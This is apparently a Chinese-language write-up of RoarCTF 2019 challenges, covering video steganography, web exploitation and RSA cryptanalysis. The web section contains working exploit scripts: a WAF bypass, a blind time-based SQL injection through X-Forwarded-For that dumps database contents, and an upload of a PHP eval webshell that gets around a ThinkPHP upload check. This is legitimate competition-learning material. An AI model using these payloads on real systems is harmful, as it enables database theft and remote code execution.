2019RoarCTF wp

MISC

黄金六年

Ubuntu:

ffmpeg -i 黄金六年.mp4 -r 10  -q:v 2 -f image2 %03d.jpg  //分析帧
zbarimg -d *.jpg //依次查看图片,得到密码iwantplayctf
strings 黄金六年.mp4  //发现base64编码数据
cat | base64 -d a.txt | > b.txt  //解码数据存入b.txt
rar x b.txt  //解压,输入密码得到flag

WEB

Easy Calc

calc.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

看着很好绕,可以使用类似国赛的love math的数学函数,或者无参数函数来RCE,但是直接让?num=任何字母,都会返回403Forbidden

方法一

利用PHP字符串解析特性Bypass,参考文章

首先来看官方文档对parse_str的描述:

$_GET$_POST$_Cookieparse_str的处理方式是一样的,如果参数名中带有空格(后面)、[.+_,都会被PHP自动转换为_,例如:

在a.php文件中写入var_dump($GLOBALS);,请求:

如果参数名前带有空格,则会被删除:

这道题参数中并没有含有下划线,但可在参数前加空格(%20+)来绕过WAF,其WAF或IDS/IPS为:

SecRule ARGS:num "@rx ^[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*" "id:001,msg:'Hack',severity:ERROR,deny,status:403"

在num前加个空格,那么将会绕过检测,并且会被php成功解析

方法二

利用HTTP请求走私,参考文章

当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。
添加`Transfer-Encoding: chunked`,在消息体加几个回车
分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由网页服务器发送给客户端的数据可以分成多个部分。分块传输编码只在HTTP协议1.1版本(HTTP/1.1)中提供
![](http://www.gtfly.top:81/QQ图片20191019143031.png)

easy_java

是个登录页面,下方有个help功能:

/Download?filename=help.docx

点击后显示:

java.io.FileNotFoundException:{help.docx}

测了半天ssti无果放弃:)

做法:弱口令登录adminadmin888,登录后:

存在一张图片路径,通过help接口去访问,但是访问不了,之后抓包将GET改为POST,获得图片内容(有点坑);之后便可以进行任意文件读取了


一些知识点:

Apache Tomcat 是一款 Java Servlet 和 JavaServer Pages 技术的开源软件实现,可以作为测试 Servlet 的独立服务器,而且可以集成到 Apache Web 服务器

Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层

WEB-INF是Java的WEB应用的安全目录,是不可以通过URL直接访问到这个目录下的资源的;不过可以做一个业务逻辑处理,例如servlet,接收到请求的参数后可以跳转到想要的界面;

如果想要在页面中访问其中的文件,必须通过web.xml文件对要访问的文件进行相应的映射才能访问;WEB-INF文件夹下还存在classes文件夹,里面放置了*.class文件

Java Servlet部署:

如果有一个类名称com.wm.ctf.FlagController,那么这个Servlet类必须位于WEB-INF/classes/com/wm/ctf/FlagController.class中;之后需要在web.xml中创建下列格式的条目:

<servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
</servlet-mapping>

只需要访问url-pattern中的路径即可访问到程序WEB-INF/classes/com/wm/ctf/FlagController.class


回到题目上,访问web.xml:

访问FlagController类文件:

Online Proxy

进入链接,页面显示:

欢迎使用 Online Proxy。使用方法为 /?url=,例如 /?url=https://baidu.com/。
为了保障您的使用体验,我们可能收集您的使用信息,这些信息只会被用于提升我们的服务,请您放心。

测了下SSRF,发现只有http(s)协议能用…没想到这题竟是注入,我果然还是tcl:)

题目提到我们可能收集您的使用信息,且查看页面源码会显示自己的ip信息;添加XFF头后,会发现会显示当前ip以及上次的ip:

当改ip为1'and sleep(3) and 1='1,并改变ip后,发现页面延迟了3s,也就是注入成功了

该注入类型为二次注入,其逻辑为:初始数据库last_ip与数据库current_ip为空,会查询数据库中的current_ip,如果查询不到数据,则将当前ip赋值给数据库的current_ip,之后将其插入数据库并输出;如果查询到数据,如果发现当前ip与数据库的current_ip不等,那么会将当将last_ip赋值为数据库的current_ip,数据库的current_ip赋值为当前ip,将其插入数据库并输出。其源代码为:

1
2
3
4
5
6
7
8
9
10
11
12
$last_ip = "";
$result = query("select current_ip, last_ip from ip_log where uuid = '".addslashes($uuid)."'");
if(count($result) > 0) {
if($ip !== $result[0]['current_ip']) {
$last_ip = $result[0]['current_ip'];
query("delete from ip_log where uuid='".addslashes($uuid)."'");
} else {
$last_ip = $result[0]['last_ip'];
}
}
query("insert into ip_log values ('".addslashes($uuid)."', '".addslashes($ip)."', '$last_ip');");
die("\n<!-- Debug Info: \n Duration: $time s \n Current Ip: $ip ".($last_ip !== "" ? "\nLast Ip: ".$last_ip : "")." -->");

通过源代码我们可以知道,当把curent_ip变为last_ip时,会直接将last_ip不加任何过滤的插入到数据表中,即insert+二次注入;注入思路即为,先将构造好的exp通过XFF头发过去,再改变XFF,使exp变为last_ip,即可注入成功

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import requests
from time import sleep

url = 'http://node3.buuoj.cn:28163/'
s = requests.session()

# database name
# current db : ctf
# information_schema,test,mysql,ctftraining,performance_schema,F4l9_D4t4B45e,ctf
name = ''
for i in range(1, 100):
print('[%d]'%i)
for j in range(33, 128):
sleep(0.01)
payload1 = {
'X-Forwarded-For': '1'
}

payload2 = {
'X-Forwarded-For': "1'and if(ascii(substr((select group_concat(schema_name)from information_schema.schemata), {}, 1))={}, sleep(5), 0) and 1='1".format(i, j)
}

res = s.get(url, headers=payload2)
try:
res = s.get(url, headers=payload1, timeout=3)
except Exception as e:
#print(e)
name += chr(j)
print(name)
break

# table name
# ctf : ip_log
# F4l9_D4t4B45e : F4l9_t4b1e
name = ''
for i in range(1, 100):
print('[%d]'%i)
for j in range(33, 128):
sleep(0.01)
payload1 = {
'X-Forwarded-For': '1'
}

payload2 = {
'X-Forwarded-For': "1'and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='F4l9_D4t4B45e'), {}, 1))={}, sleep(5), 0) and 1='1".format(i, j)
}

res = s.get(url, headers=payload2)
try:
res = s.get(url, headers=payload1, timeout=3)
except Exception as e:
#print(e)
name += chr(j)
print(name)
break


# column_name
# F4l9_D4t4B45e.F4l9_t4b1e : F4l9_C01uMn
name = ''
for i in range(1, 100):
print('[%d]'%i)
for j in range(33, 128):
sleep(0.01)
payload1 = {
'X-Forwarded-For': '1'
}

payload2 = {
'X-Forwarded-For': "1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='F4l9_D4t4B45e' and table_name='F4l9_t4b1e'), {}, 1))={}, sleep(5), 0) and 1='1".format(i, j)
}

res = s.get(url, headers=payload2)
try:
res = s.get(url, headers=payload1, timeout=3)
except Exception as e:
#print(e)
name += chr(j)
print(name)
break

# flag
name = ''
for i in range(1, 100):
print('[%d]'%i)
for j in range(33, 128):
sleep(0.1)
payload1 = {
'X-Forwarded-For': '1'
}

payload2 = {
'X-Forwarded-For': "1'and if(ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e), {}, 1))={}, sleep(5), 0) and 1='1".format(i, j)
}

res = s.get(url, headers=payload2)
try:
res = s.get(url, headers=payload1, timeout=3)
except Exception as e:
#print(e)
name += chr(j)
print(name)
break

Simple Upload

题目给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

可以知道其使用的是thinkphp框架,或者可以在/index.php/asdf报错中得到,其版本为ThinkPHP3.2.4

在官网上找到该版本下载,找到Upload.class.php

可以看到这个类中定义了一些文件上传的默认属性,exts为允许上传的文件后缀,那么代码中的:

$upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型

是不会生效的

找到其upload方法:

可以看到,如果upload()中不带参数的话,其会对$_FILES进行检测和上传,也就是说,可以同时上传多个文件(表单name不为file即可),从而绕过检测:

$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
    return false;
}

上传路径我们是知道的,但是文件名会被处理,可以看到Upload.class.php中定义的属性中,savaName为其默认的命名规则,主要利用了uniqid()函数:

可以看到,同时上传文件时,其文件名相差很小,只有后2~3位,那么同时上传两个文件,根据第一个文件名爆破出第二个即可。exp:

1
2
3
4
5
6
7
8
9
10
11
import requests

# thinkphp默认路由为pathinfo路径形式 → http://网址/index.php/分组/控制器/操作方法
url = 'http://fa8fdf71-5e3f-4d4d-8523-d091ae0f0cae.node3.buuoj.cn/index.php/home/index/upload'

files = {
'file': ('a.txt', ''), 'files':('a.php', '<?php @eval($_POST["t"]); ?>')
}

res = requests.post(url, files=files).text
print(res)

获得上传文件名,根据这个文件名进行爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import itertools
from time import sleep

name = '5daec94d4f' # 忽略后三位文件名
url = 'http://fa8fdf71-5e3f-4d4d-8523-d091ae0f0cae.node3.buuoj.cn/Public/Uploads/2019-10-22/'
dic = '0123456789abcdef'
for i in itertools.permutations(dic, 3):
sleep(0.01)
u = url + name + ''.join(i) + '.php'
s = requests.get(u)
#print(s.status_code)
if s.status_code == 404:
pass
else:
print(u, s.text)
break

访问成功,得到flag

CRYPTO

babyRSA

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sympy
import random

def myGetPrime():
A= getPrime(513)
print(A)
B=A-random.randint(1e3,1e5)
print(B)
return sympy.nextPrime((B!)%A)
p=myGetPrime()
#A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
#B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596

q=myGetPrime()
#A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
#B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026

r=myGetPrime()

n=p*q*r
#n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=pow(flag,e,n)
#e=0x1001
#c=75531026993868251352832208911646819562203650180318991084051400914767117788673361444822170303459754666840762396074155099975688487108827427310186815074158652155442332443785051122467525757916332663258719550896949491018311677089433922814557556027810211990588097555817841395366358450704782414037403190774111526401180911188413132407449353276693232844526881681334994004076847851157292586827912201968165931761807685129017400903834475891992746559580625966960395956170928
#so,what is the flag?

主要点是计算大数阶乘求余,解法为利用威尔逊定理:

当且仅当P为素数,(P - 1)! mod P ≡ -1(mod P)

如果Q是P前的一个素数,那么:

(Q!) * (Q+1) * (Q+2) * ... * (P-1) = (P-1)!

Q! mod P

$$Q! mod P = {(P-1)! \over (Q+1) * (Q+2) * … * (P-1)} (mod P)$$

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import inverse, long_to_bytes
import sympy

A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596

A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026

n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
e=0x1001
c=75531026993868251352832208911646819562203650180318991084051400914767117788673361444822170303459754666840762396074155099975688487108827427310186815074158652155442332443785051122467525757916332663258719550896949491018311677089433922814557556027810211990588097555817841395366358450704782414037403190774111526401180911188413132407449353276693232844526881681334994004076847851157292586827912201968165931761807685129017400903834475891992746559580625966960395956170928

def wilson(A,B):
P = 1
while (B<=A-2):
P*=B
P%=A
B+=1
return P

p = sympy.nextprime(inverse(wilson(A1, B1+1), A1))
q = sympy.nextprime(inverse(wilson(A2, B2+1), A2))
r = n//p//q

nn = (p-1)*(q-1)*(r-1)

d = inverse(e, nn)

flag = long_to_bytes(pow(c, d, n))
print(flag)

RSA

题目:

1
2
3
4
5
6
A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
p=next_prime(z*x*y)
q=next_prime(z)
A = 2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
c = 21637349983376240298781643137017527643006420437956416224341194119376827720906813134837051662331110800533726249916480511461651883091547167072238889133223663294552334442051093640989347891754536977519831106118699250847317797879843851255826918152121510988443260626502258826108177049550321258420523982587818065892584009185540294356508050406622208242619887465832495988412605479326659942708790414892644525081859890294893951328910205466191795443278975666713957632984396458370561861108820821299355143041504204271934655444506866309772339580031558766661592776211084022129268334078625159825028582506422947933620995804155386524

预期解

对方程A爆破,可得x和y的值:

1
2
3
4
5
6
7
8
9
10
11
12
A = 2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
flag = 0
for x in range(1,1000):
for y in range(1,1000):
if x % y == 0 or y % x == 0:
pass
elif (((y%x)**5)%(x%y))**2019+y**316+(y+1)//x == A:
print(x, y)
flag = 1
break
if flag:
break

得到x为2,y为83,则

p = next_prime(166*z)
q = next_prime(z)

又:

n = p * q = next_prime(166*z) * next_prime(z)

可知n与166*z^2是很接近的,即q是很接近(大于)sqrt(n/166)的,因此可以从sqrt(n/166)开始爆出q:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import long_to_bytes, inverse
import sympy
import gmpy2

n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
m = gmpy2.iroot(n//166, 2)[0] # 开方

while 1:
if n % m == 0:
#print(m)
break
else:
m = sympy.nextprime(m)

p = m
q = n//p

爆破e或猜解,得到e为65537:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import long_to_bytes, inverse
import sympy
import gmpy2

n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
m = gmpy2.iroot(n//166, 2)[0] # 开方

while 1:
if n % m == 0:
#print(m)
break
else:
m = sympy.nextprime(m)

p = m
q = n//p
c = 21637349983376240298781643137017527643006420437956416224341194119376827720906813134837051662331110800533726249916480511461651883091547167072238889133223663294552334442051093640989347891754536977519831106118699250847317797879843851255826918152121510988443260626502258826108177049550321258420523982587818065892584009185540294356508050406622208242619887465832495988412605479326659942708790414892644525081859890294893951328910205466191795443278975666713957632984396458370561861108820821299355143041504204271934655444506866309772339580031558766661592776211084022129268334078625159825028582506422947933620995804155386524

nn = (p-1)*(q-1)

for e in range(1, 100000):
nn = (p-1)*(q-1)
d = inverse(e, nn)
flag = pow(c, d, n)
#print(flag)
try:
print(e, long_to_bytes(flag).decode('utf-8'))
except:
pass

非预期解

可直接对n分解